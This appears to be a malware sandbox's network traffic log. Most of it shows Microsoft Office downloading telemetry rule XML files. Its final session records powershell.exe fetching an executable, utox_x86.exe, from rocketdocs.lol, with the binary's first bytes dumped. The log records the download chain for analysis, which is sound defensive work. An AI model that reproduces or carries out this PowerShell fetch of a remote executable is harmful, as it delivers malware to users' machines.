2024-10-08 18:52:11 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:11 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 8d044b15-901e-00ac-3902-17b69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185211Z-1657d5bbd48wd55zet5pcra0cg000000059000000000u4dy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:11 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.9	49765	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:11 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:11 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:11 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: 8d3bec0a-601e-0070-32fe-16a0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185211Z-1657d5bbd48tnj6wmberkg2xy800000005ag000000014fa7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:11 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.9	49767	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:11 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:11 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:11 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: e72b6989-501e-005b-2b00-17d7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185211Z-1657d5bbd48tqvfc1ysmtbdrg0000000056g00000000pu3s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:11 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.9	49768	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:11 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:11 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:11 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 0377c3fc-101e-000b-65dc-165e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185211Z-1657d5bbd48xsz2nuzq4vfrzg8000000058000000000fup4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:11 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.9	49769	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:11 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:11 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:11 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: a5e58c1d-b01e-00ab-5ac9-16dafd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185211Z-1657d5bbd48xlwdx82gahegw4000000005mg00000000bdz8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:11 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.9	49770	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:12 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:12 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:12 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 78a0432a-701e-001e-1805-17f5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185212Z-1657d5bbd48lknvp09v995n79000000004y000000000utv0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:12 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.9	49772	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:12 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:12 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:12 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 2f519f63-901e-0016-75ff-16efe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185212Z-1657d5bbd48xsz2nuzq4vfrzg8000000059000000000b1ap x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:12 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.9	49771	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:12 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:12 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:12 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: b67c2655-301e-0096-2300-17e71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185212Z-1657d5bbd482tlqpvyz9e93p5400000005g000000000a3zb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:12 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.9	49773	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:12 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:12 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:12 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: e85a0906-801e-007b-4243-19e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185212Z-1657d5bbd48xjgsr3pyv9u71rc00000001bg00000000hbx0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:12 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.9	49774	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:12 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:12 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:12 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: adf7687a-b01e-0053-5908-19cdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185212Z-1657d5bbd48vhs7r2p1ky7cs5w00000005s0000000007fwq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:12 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.9	49775	188.114.96.3	443	7456	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:12 UTC	76	OUT	GET /utox_x86.exe HTTP/1.1 Host: rocketdocs.lol Connection: Keep-Alive
2024-10-08 18:52:12 UTC	677	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:12 GMT Content-Type: application/x-msdownload Content-Length: 4971787 Connection: close last-modified: Sun, 29 Sep 2024 18:17:10 GMT x-turbo-charged-by: LiteSpeed Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 60 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SeUMQle2y9DVGHmLWE8zd1L6fwt%2BF3Mwju0MYMRw6ivvgovrxtcEFNFnRExaxQJGWrMmAhbEygY25FINql8%2F8macEZiBO63x92lj3AaIlDeEohie%2Fk9apvPJ9RmZ9T9SKQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cf853a3b8206a5f-EWR
2024-10-08 18:52:12 UTC	692	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 64 86 15 00 20 5f 0d 60 00 0e 41 00 66 5e 00 00 f0 00 26 00 0b 02 02 22 00 d0 29 00 00 36 34 00 00 f6 15 00 b0 14 00 00 00 10 00 00 00 00 40 00 00 00 00 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 05 00 02 00 00 00 00 00 00 b0 57 00 00 06 00 00 3b 75 4c 00 02 00 00 00 00 00 20 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEd _`Af^&")64@W;uL
2024-10-08 18:52:12 UTC	1369	IN	Data Raw: 00 26 33 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 e0 33 00 00 00 70 49 00 00 34 00 00 00 3a 33 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 80 00 00 00 00 b0 49 00 00 02 00 00 00 6e 33 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 c0 2e 74 6c 73 00 00 00 00 10 00 00 00 00 c0 49 00 00 02 00 00 00 70 33 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 c0 2e 72 73 72 63 00 00 00 88 b0 00 00 00 d0 49 00 88 b0 00 00 00 72 33 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 ac 16 00 00 00 90 4a 00 00 18 00 00 00 24 34 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 50 11 00 00 00 b0 4a 00 00 12 00 00 00 3c 34 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: &3@0@.idata3pI4:3@0.CRTIn3@@.tlsIp3@@.rsrcIr3@0.relocJ$4@0B/4PJ<4
2024-10-08 18:52:12 UTC	1369	IN	Data Raw: 00 00 c7 05 ef 3d 33 00 01 00 00 00 8b 06 83 f8 01 0f 84 18 02 00 00 85 ed 0f 84 31 02 00 00 48 8b 05 4d 67 30 00 48 8b 00 48 85 c0 74 0c 45 31 c0 ba 02 00 00 00 31 c9 ff d0 e8 f4 00 29 00 48 8d 0d 9d 06 29 00 ff 15 8f 6d 49 00 48 8b 15 a0 67 30 00 48 89 02 e8 98 05 29 00 48 8d 0d 91 fd ff ff e8 dc be 29 00 e8 b7 fe 28 00 48 8b 05 20 67 30 00 48 89 05 d9 2f 48 00 e8 e4 be 29 00 48 8b 00 31 c9 48 85 c0 75 1c eb 5f 0f 1f 84 00 00 00 00 00 84 d2 74 2c 83 e1 01 74 27 b9 01 00 00 00 48 83 c0 01 0f b6 10 80 fa 20 7e e6 41 89 c8 41 83 f0 01 80 fa 22 41 0f 44 c8 eb e4 66 0f 1f 44 00 00 84 d2 75 11 eb 1a 66 2e 0f 1f 84 00 00 00 00 00 80 fa 20 7f 0b 48 83 c0 01 0f b6 10 84 d2 75 f0 48 89 05 71 2f 48 00 44 8b 07 45 85 c0 74 16 f6 44 24 5c 01 b8 0a 00 00 00 0f 85 f1 Data Ascii: =31HMg0HHtE11)H)mIHg0H)H)(H g0H/H)H1Hu_t,t'H ~AA"ADfDuf. HuHq/HDEtD$\
